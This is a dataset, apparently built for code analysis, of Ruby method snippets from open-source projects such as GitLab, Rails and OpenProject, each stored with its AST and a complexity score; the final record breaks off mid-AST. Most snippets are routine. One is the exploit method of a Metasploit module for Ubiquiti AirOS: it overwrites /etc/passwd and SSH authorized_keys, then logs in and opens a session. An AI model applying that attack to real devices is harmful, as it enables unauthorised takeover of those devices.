{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/namespaces/preloaders/namespace_root_ancestor_preloader.rb","start_line":13,"raw_source":"def execute\n        root_query = Namespace.joins(\"INNER JOIN (#{join_sql}) as root_query ON root_query.root_id = namespaces.id\")\n                          .select('namespaces.*, root_query.id as source_id')\n\n        root_query = root_query.preload(*@root_ancestor_preloads) if @root_ancestor_preloads.any?\n\n        root_ancestors_by_id = root_query.group_by(&:source_id)\n\n        @namespaces.each do |namespace|\n          root_ancestor = root_ancestors_by_id[namespace.id]&.first\n\n          if root_ancestor\n            namespace.root_ancestor = root_ancestor\n          else\n            log_orphaned_namespace(namespace)\n          end\n        end\n      end","complexity_score":23.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"root_query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespace\"]},\"joins\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INNER JOIN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"join_sql\"]}]},{\"type\":\"str\",\"children\":[\") as root_query ON root_query.root_id = namespaces.id\"]}]}]},\"select\",{\"type\":\"str\",\"children\":[\"namespaces.*, root_query.id as source_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@root_ancestor_preloads\"]},\"any?\"]},{\"type\":\"lvasgn\",\"children\":[\"root_query\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"root_query\"]},\"preload\",{\"type\":\"splat\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@root_ancestor_preloads\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"root_ancestors_by_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"root_query\"]},\"group_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_id\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@namespaces\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"namespace\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"root_ancestor\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"root_ancestors_by_id\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]},\"id\"]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"root_ancestor\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]},\"root_ancestor=\",{\"type\":\"lvar\",\"children\":[\"root_ancestor\"]}]},{\"type\":\"send\",\"children\":[null,\"log_orphaned_namespace\",{\"type\":\"lvar\",\"children\":[\"namespace\"]}]}]}]}]}]}]}","id":"ae0d6ee5-cc59-4708-b1f4-2ad7a13e5099"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/type/pdf_export_templates.rb","start_line":40,"raw_source":"def list\n    disabled = @type.export_templates_disabled || []\n    templates = built_in_templates.map do |built_in_template|\n      Template.new(**built_in_template, enabled: disabled.exclude?(built_in_template[:id]))\n    end\n    order = @type.export_templates_order || []\n    return templates if order.empty?\n\n    indexes = order.each_with_index.to_a.to_h\n    templates.sort_by { |template| indexes[template.id] }\n  end","complexity_score":25.3,"ast_json":"{\"type\":\"def\",\"children\":[\"list\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"disabled\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@type\"]},\"export_templates_disabled\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"templates\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"built_in_templates\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"built_in_template\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Template\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"built_in_template\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"disabled\"]},\"exclude?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"built_in_template\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"order\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@type\"]},\"export_templates_order\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"templates\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"indexes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"each_with_index\"]},\"to_a\"]},\"to_h\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"templates\"]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"template\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indexes\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"id\"]}]}]}]}]}","id":"03e7d342-790f-4e6e-96c8-921bae666d97"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/context/ghost_context.rb","start_line":48,"raw_source":"def statement_counter\n        parent.statement_counter\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"statement_counter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent\"]},\"statement_counter\"]}]}","id":"1f65b295-4bdd-4c94-a9e4-10e1e90c10c3"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/continuation_test.rb","start_line":722,"raw_source":"def capture_info_stdout(&block)\n      ActiveJob::Base.logger.with(level: :info) do\n        capture(:stdout, &block)\n      end\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"capture_info_stdout\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveJob\"]},\"Base\"]},\"logger\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"sym\",\"children\":[\"info\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"capture\",{\"type\":\"sym\",\"children\":[\"stdout\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"31b0e82e-435d-4a51-9d46-fc46bb288da6"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/test_helper_test.rb","start_line":1750,"raw_source":"def test_assert_no_performed_jobs_without_block_with_only_and_queue_options_failure\n      HelloJob.set(queue: :some_queue).perform_later(\"bogdan\")\n      LoggingJob.set(queue: :some_queue).perform_later(\"jeremy\")\n\n      perform_enqueued_jobs\n\n      error = assert_raise ActiveSupport::TestCase::Assertion do\n        assert_no_performed_jobs only: HelloJob, queue: :some_queue\n      end\n\n      assert_match(/0 .* but 1/, error.message)\n    end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_no_performed_jobs_without_block_with_only_and_queue_options_failure\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},\"set\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"sym\",\"children\":[\"some_queue\"]}]}]}]},\"perform_later\",{\"type\":\"str\",\"children\":[\"bogdan\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoggingJob\"]},\"set\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"sym\",\"children\":[\"some_queue\"]}]}]}]},\"perform_later\",{\"type\":\"str\",\"children\":[\"jeremy\"]}]},{\"type\":\"send\",\"children\":[null,\"perform_enqueued_jobs\"]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TestCase\"]},\"Assertion\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_no_performed_jobs\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"const\",\"children\":[null,\"HelloJob\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"sym\",\"children\":[\"some_queue\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"0 .* but 1\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]}","id":"51490d02-211a-4be7-ba2e-d71c725a7017"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/calculations_test.rb","start_line":1005,"raw_source":"def test_pluck_with_selection_clause\n    assert_equal [50, 53, 55, 60], Account.pluck(Arel.sql(\"DISTINCT credit_limit\")).sort\n    assert_equal [50, 53, 55, 60], Account.pluck(Arel.sql(\"DISTINCT accounts.credit_limit\")).sort\n    assert_equal [50, 53, 55, 60], Account.pluck(Arel.sql(\"DISTINCT(credit_limit)\")).sort\n    assert_equal [50 + 53 + 55 + 60], Account.pluck(Arel.sql(\"SUM(DISTINCT(credit_limit))\"))\n  end","complexity_score":28.65,"ast_json":"{\"type\":\"def\",\"children\":[\"test_pluck_with_selection_clause\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[50]},{\"type\":\"int\",\"children\":[53]},{\"type\":\"int\",\"children\":[55]},{\"type\":\"int\",\"children\":[60]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"pluck\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"DISTINCT credit_limit\"]}]}]},\"sort\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[50]},{\"type\":\"int\",\"children\":[53]},{\"type\":\"int\",\"children\":[55]},{\"type\":\"int\",\"children\":[60]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"pluck\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"DISTINCT accounts.credit_limit\"]}]}]},\"sort\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[50]},{\"type\":\"int\",\"children\":[53]},{\"type\":\"int\",\"children\":[55]},{\"type\":\"int\",\"children\":[60]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"pluck\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"DISTINCT(credit_limit)\"]}]}]},\"sort\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[50]},\"+\",{\"type\":\"int\",\"children\":[53]}]},\"+\",{\"type\":\"int\",\"children\":[55]}]},\"+\",{\"type\":\"int\",\"children\":[60]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"pluck\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"SUM(DISTINCT(credit_limit))\"]}]}]}]}]}]}","id":"3b1c4547-8728-49e3-a35b-97fc4c2294c2"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20160214023247_create_job_applications.rb","start_line":2,"raw_source":"def change\n    create_table :job_applications do |t|\n      t.integer :job_listing_id\n      t.integer :user_id\n      t.text    :cover_letter\n      t.timestamps null: false\n    end\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"job_applications\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"job_listing_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"cover_letter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"17baf3c2-4399-4a42-871b-a47cb572b1ef"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/active_record/acts_as.rb","start_line":71,"raw_source":"def acts_as_model(chats: :chats, chat_class: nil)\n          include RubyLLM::ActiveRecord::ModelMethods\n\n          class_attribute :chats_association_name, :chat_class\n\n          self.chats_association_name = chats\n          self.chat_class = (chat_class || chats.to_s.classify).to_s\n\n          validates :model_id, presence: true, uniqueness: { scope: :provider }\n          validates :provider, presence: true\n          validates :name, presence: true\n\n          has_many chats,\n                   class_name: self.chat_class,\n                   foreign_key: ActiveSupport::Inflector.foreign_key(table_name.singularize)\n\n          define_method :chats_association do\n            send(chats_association_name)\n          end\n        end","complexity_score":30.0,"ast_json":"{\"type\":\"def\",\"children\":[\"acts_as_model\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"chats\",{\"type\":\"sym\",\"children\":[\"chats\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"chat_class\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubyLLM\"]},\"ActiveRecord\"]},\"ModelMethods\"]}]},{\"type\":\"send\",\"children\":[null,\"class_attribute\",{\"type\":\"sym\",\"children\":[\"chats_association_name\"]},{\"type\":\"sym\",\"children\":[\"chat_class\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"chats_association_name=\",{\"type\":\"lvar\",\"children\":[\"chats\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"chat_class=\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chats\"]},\"to_s\"]},\"classify\"]}]}]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"validates\",{\"type\":\"sym\",\"children\":[\"model_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"presence\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uniqueness\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"sym\",\"children\":[\"provider\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"validates\",{\"type\":\"sym\",\"children\":[\"provider\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"presence\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"validates\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"presence\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"has_many\",{\"type\":\"lvar\",\"children\":[\"chats\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"chat_class\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Inflector\"]},\"foreign_key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_name\"]},\"singularize\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"sym\",\"children\":[\"chats_association\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"send\",\"children\":[null,\"chats_association_name\"]}]}]}]}]}","id":"f87713d4-d50e-433a-90f1-e30d1ca0eaf6"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_ae_class.rb","start_line":150,"raw_source":"def field_hash(name)\n    field = ae_fields.detect { |f| f.name.casecmp(name) == 0 }\n    raise \"field #{name} not found in class #{@name}\" if field.nil?\n\n    field.attributes\n  end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"field_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"field\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ae_fields\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"name\"]},\"casecmp\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"field \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\" not found in class \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@name\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"attributes\"]}]}]}","id":"58166aff-a907-4ea8-b486-8ca55177a8b4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/projects/target_projects.rb","start_line":14,"raw_source":"def target_project_search_params\n      params.permit(:search)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"target_project_search_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"search\"]}]}]}","id":"566efd8f-6efe-459c-8d4e-606c849ee18a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/components/storages/project_storages/oauth_access_grant_nudge_modal_component.rb","start_line":51,"raw_source":"def body_text = I18n.t(\"storages.oauth_grant_nudge_modal.project_settings.description\", storage: storage.name)","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"body_text\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"storages.oauth_grant_nudge_modal.project_settings.description\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage\"]},\"name\"]}]}]}]}]}","id":"b8125aa2-ccec-4a72-877c-bb638622a07c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/build_trace_chunk.rb","start_line":213,"raw_source":"def live?\n      LIVE_STORES.include?(data_store.to_sym)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"live?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LIVE_STORES\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data_store\"]},\"to_sym\"]}]}]}","id":"a6b533b5-b8b0-4e7e-97b4-647d84c4325a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/ubiquiti_airos_file_upload.rb","start_line":82,"raw_source":"def exploit\n    print_status('Uploading /etc/passwd')\n    upload_etc_passwd\n    print_status('Uploading /etc/dropbear/authorized_keys')\n    upload_authorized_keys\n    print_status(\"Logging in as #{username}\")\n    vprint_status(\"Password: #{password}\")\n    vprint_status(\"Private key:\\n#{private_key}\")\n    if (ssh = ssh_login)\n      print_good(\"Logged in as #{username}\")\n      handler(ssh.lsock)\n    end\n  end","complexity_score":18.8,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Uploading /etc/passwd\"]}]},{\"type\":\"send\",\"children\":[null,\"upload_etc_passwd\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Uploading /etc/dropbear/authorized_keys\"]}]},{\"type\":\"send\",\"children\":[null,\"upload_authorized_keys\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Logging in as \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"username\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Password: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"password\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Private key:\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"private_key\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ssh\",{\"type\":\"send\",\"children\":[null,\"ssh_login\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Logged in as \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"username\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"handler\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssh\"]},\"lsock\"]}]}]},null]}]}]}","id":"e807357e-e33a-4bbd-a0d8-1da8d4f4b594"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_config.rb","start_line":78,"raw_source":"def test_include\n    prepare_config\n    c = read_config(\"#{TMP_DIR}/config_test_1.conf\")\n    assert_equal 'root_config', c['k1']\n    assert_equal 'relative_path_include', c['k2']\n    assert_equal 'relative_include_in_included_file', c['k3']\n    assert_equal 'absolute_path_include', c['k4']\n    assert_equal 'uri_include', c['k5']\n    assert_equal 'wildcard_include_1', c['k6']\n    assert_equal 'wildcard_include_2', c['k7']\n    assert_equal 'wildcard_include_3', c['k8']\n    assert_equal [\n      'k1',\n      'k2',\n      'k3',\n      'k4',\n      'k5',\n      'k8', # Because of the file name this comes first.\n      'k6',\n      'k7',\n    ], c.keys\n\n    elem1 = c.elements.find { |e| e.name == 'elem1' }\n    assert_not_nil elem1\n    assert_equal 'name', elem1.arg\n    assert_equal 'normal_parameter', elem1['include']\n\n    elem2 = c.elements.find { |e| e.name == 'elem2' }\n    assert_not_nil elem2\n    assert_equal 'name', elem2.arg\n    assert_equal 'embedded', elem2['k9']\n    assert !elem2.has_key?('include')\n\n    elem3 = elem2.elements.find { |e| e.name == 'elem3' }\n    assert_not_nil elem3\n    assert_equal 'nested_value', elem3['nested']\n    assert_equal 'hoge', elem3['include']\n  end","complexity_score":62.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_include\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prepare_config\"]},{\"type\":\"lvasgn\",\"children\":[\"c\",{\"type\":\"send\",\"children\":[null,\"read_config\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TMP_DIR\"]}]},{\"type\":\"str\",\"children\":[\"/config_test_1.conf\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"root_config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]\",{\"type\":\"str\",\"children\":[\"k1\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"relative_path_include\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]\",{\"type\":\"str\",\"children\":[\"k2\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"relative_include_in_included_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]\",{\"type\":\"str\",\"children\":[\"k3\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"absolute_path_include\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]\",{\"type\":\"str\",\"children\":[\"k4\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"uri_include\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]\",{\"type\":\"str\",\"children\":[\"k5\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"wildcard_include_1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]\",{\"type\":\"str\",\"children\":[\"k6\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"wildcard_include_2\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]\",{\"type\":\"str\",\"children\":[\"k7\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"wildcard_include_3\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]\",{\"t